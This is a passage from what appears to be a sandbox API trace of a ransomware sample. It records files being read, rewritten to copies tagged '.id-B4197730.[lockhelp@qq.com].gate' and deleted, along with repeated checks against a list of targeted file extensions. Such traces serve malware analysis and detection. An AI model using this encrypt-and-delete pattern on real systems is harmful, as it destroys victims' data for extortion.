lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.185] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0112.185] SetEndOfFile (hFile=0x34c) returned 1 [0112.185] CloseHandle (hObject=0x34c) returned 1 [0112.186] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.186] SetEndOfFile (hFile=0x348) returned 1 [0112.187] CloseHandle (hObject=0x348) returned 1 [0112.187] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.187] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0112.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.188] lstrlenW (lpString=".doc") returned 4 [0112.188] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.188] lstrlenW (lpString=".docx") returned 5 [0112.188] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.188] lstrlenW (lpString=".pdf") returned 4 [0112.188] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.188] lstrlenW (lpString=".xls") returned 4 [0112.188] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.188] lstrlenW (lpString=".xlsx") returned 5 [0112.188] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.188] lstrlenW (lpString=".ppt") returned 4 [0112.188] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.188] lstrlenW (lpString=".zip") returned 4 [0112.188] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.188] lstrlenW (lpString=".rar") returned 4 [0112.188] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.188] lstrlenW (lpString=".bz2") returned 4 [0112.188] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.188] lstrlenW (lpString=".7z") returned 3 [0112.188] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.188] lstrlenW (lpString=".dbf") returned 4 [0112.188] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.188] lstrlenW (lpString=".1cd") returned 4 [0112.188] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.189] lstrlenW (lpString=".jpg") returned 4 [0112.189] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.189] lstrlenW (lpString=".doc") returned 4 [0112.189] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.189] lstrlenW (lpString=".docx") returned 5 [0112.189] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.189] lstrlenW (lpString=".pdf") returned 4 [0112.189] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.189] lstrlenW (lpString=".xls") returned 4 [0112.189] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.189] lstrlenW (lpString=".xlsx") returned 5 [0112.189] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.189] lstrlenW (lpString=".ppt") returned 4 [0112.189] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.189] lstrlenW (lpString=".zip") returned 4 [0112.189] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.189] lstrlenW (lpString=".rar") returned 4 [0112.189] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.189] lstrlenW (lpString=".bz2") returned 4 [0112.189] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.189] lstrlenW (lpString=".7z") returned 3 [0112.189] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.189] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.190] lstrlenW (lpString=".dbf") returned 4 [0112.190] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.190] lstrlenW (lpString=".1cd") returned 4 [0112.190] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.190] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0112.190] lstrlenW (lpString=".jpg") returned 4 [0112.190] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.190] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0112.190] lstrlenW (lpString="LocalizedData.xml") returned 17 [0112.190] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0112.190] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=65238) returned 1 [0112.190] CloseHandle (hObject=0x348) returned 1 [0112.190] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 0x80 [0112.191] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.191] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0112.191] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.191] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.191] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0112.191] GetLastError () returned 0x0 [0112.191] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0xfed6, lpOverlapped=0x0) returned 1 [0112.420] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xfee0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xfee0, lpOverlapped=0x0) returned 1 [0112.422] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.422] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0112.422] SetEndOfFile (hFile=0x34c) returned 1 [0112.422] CloseHandle (hObject=0x34c) returned 1 [0112.424] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.424] SetEndOfFile (hFile=0x348) returned 1 [0112.425] CloseHandle (hObject=0x348) returned 1 [0112.426] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.426] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0112.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.431] lstrlenW (lpString=".doc") returned 4 [0112.431] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.431] lstrlenW (lpString=".docx") returned 5 [0112.431] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.431] lstrlenW (lpString=".pdf") returned 4 [0112.431] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.431] lstrlenW (lpString=".xls") returned 4 [0112.431] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.431] lstrlenW (lpString=".xlsx") returned 5 [0112.431] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.431] lstrlenW (lpString=".ppt") returned 4 [0112.431] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.431] lstrlenW (lpString=".zip") returned 4 [0112.431] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.431] lstrlenW (lpString=".rar") returned 4 [0112.431] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.431] lstrlenW (lpString=".bz2") returned 4 [0112.431] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.431] lstrlenW (lpString=".7z") returned 3 [0112.431] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.431] lstrlenW (lpString=".dbf") returned 4 [0112.432] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.432] lstrlenW (lpString=".1cd") returned 4 [0112.432] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.432] lstrlenW (lpString=".jpg") returned 4 [0112.432] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.432] lstrlenW (lpString=".doc") returned 4 [0112.432] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.432] lstrlenW (lpString=".docx") returned 5 [0112.432] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.432] lstrlenW (lpString=".pdf") returned 4 [0112.432] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.432] lstrlenW (lpString=".xls") returned 4 [0112.432] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.432] lstrlenW (lpString=".xlsx") returned 5 [0112.432] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.432] lstrlenW (lpString=".ppt") returned 4 [0112.432] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.432] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.432] lstrlenW (lpString=".zip") returned 4 [0112.432] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.432] lstrlenW (lpString=".rar") returned 4 [0112.433] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.433] lstrlenW (lpString=".bz2") returned 4 [0112.433] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.433] lstrlenW (lpString=".7z") returned 3 [0112.433] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.433] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.433] lstrlenW (lpString=".dbf") returned 4 [0112.433] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.433] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.433] lstrlenW (lpString=".1cd") returned 4 [0112.433] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.434] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0112.434] lstrlenW (lpString=".jpg") returned 4 [0112.434] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.434] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0112.434] lstrlenW (lpString="eula.rtf") returned 8 [0112.434] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0112.435] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3046) returned 1 [0112.435] CloseHandle (hObject=0x348) returned 1 [0112.435] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0112.435] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.435] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0112.435] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.435] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.435] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0112.436] GetLastError () returned 0x0 [0112.436] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0xbe6, lpOverlapped=0x0) returned 1 [0112.981] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xbf0, lpOverlapped=0x0) returned 1 [0112.982] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.982] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0112.983] SetEndOfFile (hFile=0x34c) returned 1 [0112.983] CloseHandle (hObject=0x34c) returned 1 [0112.984] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.984] SetEndOfFile (hFile=0x348) returned 1 [0112.988] CloseHandle (hObject=0x348) returned 1 [0112.988] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.989] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0112.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.989] lstrlenW (lpString=".doc") returned 4 [0112.989] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.989] lstrlenW (lpString=".docx") returned 5 [0112.989] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.989] lstrlenW (lpString=".pdf") returned 4 [0112.989] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.989] lstrlenW (lpString=".xls") returned 4 [0112.989] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.989] lstrlenW (lpString=".xlsx") returned 5 [0112.989] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.989] lstrlenW (lpString=".ppt") returned 4 [0112.989] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.989] lstrlenW (lpString=".zip") returned 4 [0112.989] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.990] lstrlenW (lpString=".rar") returned 4 [0112.990] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.990] lstrlenW (lpString=".bz2") returned 4 [0112.990] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.990] lstrlenW (lpString=".7z") returned 3 [0112.990] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.990] lstrlenW (lpString=".dbf") returned 4 [0112.990] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.990] lstrlenW (lpString=".1cd") returned 4 [0112.990] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.990] lstrlenW (lpString=".jpg") returned 4 [0112.990] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.990] lstrlenW (lpString=".doc") returned 4 [0112.990] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.990] lstrlenW (lpString=".docx") returned 5 [0112.990] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.990] lstrlenW (lpString=".pdf") returned 4 [0112.990] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.990] lstrlenW (lpString=".xls") returned 4 [0112.990] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.990] lstrlenW (lpString=".xlsx") returned 5 [0112.990] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.991] lstrlenW (lpString=".ppt") returned 4 [0112.991] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.991] lstrlenW (lpString=".zip") returned 4 [0112.991] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.991] lstrlenW (lpString=".rar") returned 4 [0112.991] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.991] lstrlenW (lpString=".bz2") returned 4 [0112.991] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.991] lstrlenW (lpString=".7z") returned 3 [0112.991] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.991] lstrlenW (lpString=".dbf") returned 4 [0112.991] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.991] lstrlenW (lpString=".1cd") returned 4 [0112.991] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0112.991] lstrlenW (lpString=".jpg") returned 4 [0112.991] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.991] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0112.991] lstrlenW (lpString="eula.rtf") returned 8 [0112.992] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0112.992] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3683) returned 1 [0112.992] CloseHandle (hObject=0x348) returned 1 [0112.992] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0112.992] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.992] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0112.992] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.992] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.992] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0112.993] GetLastError () returned 0x0 [0112.993] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0xe63, lpOverlapped=0x0) returned 1 [0113.112] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xe70, lpOverlapped=0x0) returned 1 [0113.113] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.113] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.113] SetEndOfFile (hFile=0x34c) returned 1 [0113.113] CloseHandle (hObject=0x34c) returned 1 [0113.114] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.114] SetEndOfFile (hFile=0x348) returned 1 [0113.114] CloseHandle (hObject=0x348) returned 1 [0113.114] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.115] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0113.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.115] lstrlenW (lpString=".doc") returned 4 [0113.115] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.115] lstrlenW (lpString=".docx") returned 5 [0113.115] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.115] lstrlenW (lpString=".pdf") returned 4 [0113.115] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.115] lstrlenW (lpString=".xls") returned 4 [0113.115] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.115] lstrlenW (lpString=".xlsx") returned 5 [0113.115] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.115] lstrlenW (lpString=".ppt") returned 4 [0113.115] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.115] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.115] lstrlenW (lpString=".zip") returned 4 [0113.115] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.116] lstrlenW (lpString=".rar") returned 4 [0113.116] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.116] lstrlenW (lpString=".bz2") returned 4 [0113.116] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.116] lstrlenW (lpString=".7z") returned 3 [0113.116] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.116] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.116] lstrlenW (lpString=".dbf") returned 4 [0113.116] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.116] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0113.116] lstrlenW (lpString=".1cd") returned 4 [0113.116] lstrcmpiW 